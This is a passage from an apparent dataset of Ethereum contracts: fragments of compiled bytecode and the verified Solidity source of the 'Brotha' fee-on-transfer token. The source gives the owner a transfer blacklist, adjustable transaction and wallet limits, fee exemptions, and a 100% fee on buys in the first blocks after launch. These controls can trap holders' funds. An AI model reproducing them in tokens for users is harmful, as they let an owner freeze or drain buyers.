e2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a38173ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5826040518082815260200191505060405180910390a25050565b600060026004602082020160ff166000369050101561211057600080fd5b33600260149054906101000a900460ff16156121ce57600460008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156121c9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180612f8a6022913960400191505060405180910390fd5b612271565b600360008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16612270576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180612fac6026913960400191505060405180910390fd5b5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415612314576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601c8152602001807f496e76616c69642064657374696e6174696f6e20616464726573732e0000000081525060200191505060405180910390fd5b61236684600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612e7e90919063ffffffff16565b600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123fb84600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612f0190919063ffffffff16565b600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a360019250505092915050565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146125c8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260128152602001807f596f75206d757374206265206f776e65722e000000000000000000000000000081525060200191505060405180910390fd5b60008090505b838390508110156127cb5760008484838181106125e757fe5b9050602002013573ffffffffffffffffffffffffffffffffffffffff1690506000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050831515811515146127bc578315612718576001600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff167f369e0b70fff47e7b3ceb33e2f6f5d67c3d85ab70974ae25e5b2ef2516863d1996001604051808215151515815260200191505060405180910390a26127bb565b600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81549060ff02191690558173ffffffffffffffffffffffffffffffffffffffff167f369e0b70fff47e7b3ceb33e2f6f5d67c3d85ab70974ae25e5b2ef2516863d1996000604051808215151515815260200191505060405180910390a25b5b505080806001019150506125ce565b50505050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614612941576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260158152602001807f596f75206d7573742062652064656c65676174652e000000000000000000000081525060200191505060405180910390fd5b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614612b49576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260128152602001807f596f75206d757374206265206f776e65722e000000000000000000000000000081525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415612bec576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f496e76616c6964206e6577206f776e657220616464726573732e00000000000081525060200191505060405180910390fd5b80600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614612cf3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260128152602001807f596f75206d757374206265206f776e65722e000000000000000000000000000081525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415612d96576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f496e76616c6964206e6577206d696e74657220616464726573732e000000000081525060200191505060405180910390fd5b6000600760019054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600760016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600760019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f02ad39e5173f89bdd5497202bd74024b5da045106c3163ddb078d2e89ff6d6de60405160405180910390a35050565b600082821115612ef6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4e656761746976652075696e74323536206973206e6f7720616c6c6f7765642e81525060200191505060405180910390fd5b818303905092915050565b600080828401905083811015612f7f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260188152602001807f416464696e672075696e74323536206f766572666c6f772e000000000000000081525060200191505060405180910390fd5b809150509291505056fe536f75726365206164647265737320697320696e20626c6f636b2066696c7465722e536f757263652061646472657373206d75737420626520696e20706173732066696c7465722e596f75206d75737420626520656974686572206f776e6572206f72206d696e7465722ea165627a7a7230582045811a2c4b94660838fdd0d4383dbf168aca41db05d987d39455d422c7bd168c0029
{"success": true, "error": null, "results": {}}
7,680
0x0e5ed33220888019c6037fa0fec2310c16ac1b32
/** *Submitted for verification at Etherscan.io on 2022-03-03 */ /** *Submitted for verification at Etherscan.io on 2022-01-06 */ /* */ //SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract Nice is Context, IERC20, Ownable { using SafeMath for uint256; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; mapping(address => bool) private bots; mapping(address => uint256) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 100000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _maxTxAmount = _tTotal; uint256 private openBlock; uint256 private _swapTokensAtAmount = 100 * 10**9; // 100 tokens uint256 private _maxWalletAmount = _tTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; address payable private _feeAddrWallet1; address payable private _feeAddrWallet2; string private constant _name = "Brotha"; string private constant _symbol = "BROTHA"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap() { inSwap = true; _; inSwap = false; } constructor(address payable addr1, address payable addr2, address payable addr3, address payable addr4, address payable addr5) { _feeAddrWallet1 = addr1; _feeAddrWallet2 = addr2; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[addr4] = true; _isExcludedFromFee[_feeAddrWallet1] = true; _isExcludedFromFee[addr5] = true; _isExcludedFromFee[_feeAddrWallet2] = true; _isExcludedFromFee[addr3] = true; emit Transfer( address(0), _msgSender(), _tTotal ); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function setCooldownEnabled(bool onoff) external onlyOwner { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _feeAddr1 = 1; _feeAddr2 = 12; if (from != owner() && to != owner() && from != address(this) && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { require(!bots[from] && !bots[to]); if ( from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled ) { // Not over max tx amount require(amount <= _maxTxAmount, "Over max transaction amount."); // Cooldown require(cooldown[to] < block.timestamp, "Cooldown enforced."); // Max wallet require(balanceOf(to) + amount <= _maxWalletAmount, "Over max wallet amount."); cooldown[to] = block.timestamp + (30 seconds); } if ( to == uniswapV2Pair && from != address(uniswapV2Router) && !_isExcludedFromFee[from] ) { _feeAddr1 = 1; _feeAddr2 = 12; } if (openBlock + 5 >= block.number && from == uniswapV2Pair) { _feeAddr1 = 1; _feeAddr2 = 99; } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } else { // Only if it's not from or to owner or from contract address. _feeAddr1 = 0; _feeAddr2 = 0; } _tokenTransfer(from, to, amount); } function swapAndLiquifyEnabled(bool enabled) public onlyOwner { inSwap = enabled; } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddrWallet1.transfer(amount.div(2)); _feeAddrWallet2.transfer(amount.div(2)); } function setMaxTxAmount(uint256 amount) public onlyOwner { _maxTxAmount = amount * 10**9; } function setMaxWalletAmount(uint256 amount) public onlyOwner { _maxWalletAmount = amount * 10**9; } function whitelist(address payable adr1) external onlyOwner { _isExcludedFromFee[adr1] = true; } function unwhitelist(address payable adr2) external onlyOwner { _isExcludedFromFee[adr2] = false; } function openTrading() external onlyOwner { require(!tradingOpen, "trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02( 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D ); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); swapEnabled = true; cooldownEnabled = true; // .5% _maxTxAmount = 1000000000000 * 10**9; _maxWalletAmount = 2000000000000 * 10**9; tradingOpen = true; openBlock = block.number; IERC20(uniswapV2Pair).approve( address(uniswapV2Router), type(uint256).max ); } function addBot(address theBot) public onlyOwner { bots[theBot] = true; } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function setSwapTokens(uint256 swaptokens) public onlyOwner { _swapTokensAtAmount = swaptokens; } function _tokenTransfer( address sender, address recipient, uint256 amount ) private { _transferStandard(sender, recipient, amount); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualSwap() external { uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualSend() external { uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues( tAmount, _feeAddr1, _feeAddr2 ); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues( tAmount, tFee, tTeam, currentRate ); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 taxFee, uint256 TeamFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106101445760003560e01c80638da5cb5b116100b6578063c9567bf91161006f578063c9567bf91461043f578063dd62ed3e14610456578063e98391ff14610493578063ec28438a146104bc578063f4293890146104e5578063ffecf516146104fc5761014b565b80638da5cb5b1461033157806395d89b411461035c5780639a590427146103875780639b19251a146103b0578063a9059cbb146103d9578063bf6642e7146104165761014b565b806327a14fc21161010857806327a14fc214610249578063313ce5671461027257806351bc3c851461029d5780635932ead1146102b457806370a08231146102dd578063715018a61461031a5761014b565b806306fdde0314610150578063095ea7b31461017b57806318160ddd146101b857806323b872dd146101e3578063273123b7146102205761014b565b3661014b57005b600080fd5b34801561015c57600080fd5b50610165610525565b60405161017291906131e3565b60405180910390f35b34801561018757600080fd5b506101a2600480360381019061019d9190612d24565b610562565b6040516101af91906131c8565b60405180910390f35b3480156101c457600080fd5b506101cd610580565b6040516101da91906133a5565b60405180910390f35b3480156101ef57600080fd5b5061020a60048036038101906102059190612cd5565b610592565b60405161021791906131c8565b60405180910390f35b34801561022c57600080fd5b5061024760048036038101906102429190612c1e565b61066b565b005b34801561025557600080fd5b50610270600480360381019061026b9190612db2565b61075b565b005b34801561027e57600080fd5b50610287610809565b604051610294919061341a565b60405180910390f35b3480156102a957600080fd5b506102b2610812565b005b3480156102c057600080fd5b506102db60048036038101906102d69190612d60565b61082b565b005b3480156102e957600080fd5b5061030460048036038101906102ff9190612c1e565b6108dd565b60405161031191906133a5565b60405180910390f35b34801561032657600080fd5b5061032f61092e565b005b34801561033d57600080fd5b50610346610a81565b60405161035391906130fa565b60405180910390f35b34801561036857600080fd5b50610371610aaa565b60405161037e91906131e3565b60405180910390f35b34801561039357600080fd5b506103ae60048036038101906103a99190612c70565b610ae7565b005b3480156103bc57600080fd5b506103d760048036038101906103d29190612c70565b610bd7565b005b3480156103e557600080fd5b5061040060048036038101906103fb9190612d24565b610cc7565b60405161040d91906131c8565b60405180910390f35b34801561042257600080fd5b5061043d60048036038101906104389190612db2565b610ce5565b005b34801561044b57600080fd5b50610454610d84565b005b34801561046257600080fd5b5061047d60048036038101906104789190612c99565b6112f9565b60405161048a91906133a5565b60405180910390f35b34801561049f57600080fd5b506104ba60048036038101906104b59190612d60565b611380565b005b3480156104c857600080fd5b506104e360048036038101906104de9190612db2565b611432565b005b3480156104f157600080fd5b506104fa6114e0565b005b34801561050857600080fd5b50610523600480360381019061051e9190612c1e565b6114f1565b005b60606040518060400160405280600681526020017f42726f7468610000000000000000000000000000000000000000000000000000815250905090565b600061057661056f6115e1565b84846115e9565b6001905092915050565b600069152d02c7e14af6800000905090565b600061059f8484846117b4565b610660846105ab6115e1565b61065b85604051806060016040528060288152602001613a3660289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006106116115e1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461200b9092919063ffffffff16565b6115e9565b600190509392505050565b6106736115e1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610700576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106f7906132a5565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6107636115e1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107e7906132a5565b60405180910390fd5b633b9aca00816108009190613511565b600d8190555050565b60006009905090565b600061081d306108dd565b90506108288161206f565b50565b6108336115e1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108c0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108b7906132a5565b60405180910390fd5b80601360176101000a81548160ff02191690831515021790555050565b6000610927600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612369565b9050919050565b6109366115e1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109c3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109ba906132a5565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600681526020017f42524f5448410000000000000000000000000000000000000000000000000000815250905090565b610aef6115e1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b7c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b73906132a5565b60405180910390fd5b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b610bdf6115e1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c6c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c63906132a5565b60405180910390fd5b6001600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000610cdb610cd46115e1565b84846117b4565b6001905092915050565b610ced6115e1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d7a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d71906132a5565b60405180910390fd5b80600c8190555050565b610d8c6115e1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e19576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e10906132a5565b60405180910390fd5b601360149054906101000a900460ff1615610e69576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e6090613345565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610efa30601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1669152d02c7e14af68000006115e9565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610f4057600080fd5b505afa158015610f54573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f789190612c47565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610fda57600080fd5b505afa158015610fee573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110129190612c47565b6040518363ffffffff1660e01b815260040161102f929190613115565b602060405180830381600087803b15801561104957600080fd5b505af115801561105d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110819190612c47565b601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473061110a306108dd565b600080611115610a81565b426040518863ffffffff1660e01b815260040161113796959493929190613167565b6060604051808303818588803b15801561115057600080fd5b505af1158015611164573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906111899190612ddb565b5050506001601360166101000a81548160ff0219169083151502179055506001601360176101000a81548160ff021916908315150217905550683635c9adc5dea00000600a81905550686c6b935b8bbd400000600d819055506001601360146101000a81548160ff02191690831515021790555043600b81905550601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b81526004016112a392919061313e565b602060405180830381600087803b1580156112bd57600080fd5b505af11580156112d1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112f59190612d89565b5050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6113886115e1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611415576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161140c906132a5565b60405180910390fd5b80601360156101000a81548160ff02191690831515021790555050565b61143a6115e1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146114c7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114be906132a5565b60405180910390fd5b633b9aca00816114d79190613511565b600a8190555050565b60004790506114ee816123d7565b50565b6114f96115e1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611586576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161157d906132a5565b60405180910390fd5b6001600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611659576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161165090613325565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156116c9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116c090613245565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516117a791906133a5565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611824576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161181b90613305565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611894576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161188b90613205565b60405180910390fd5b600081116118d7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118ce906132c5565b60405180910390fd5b6001600e81905550600c600f819055506118ef610a81565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffff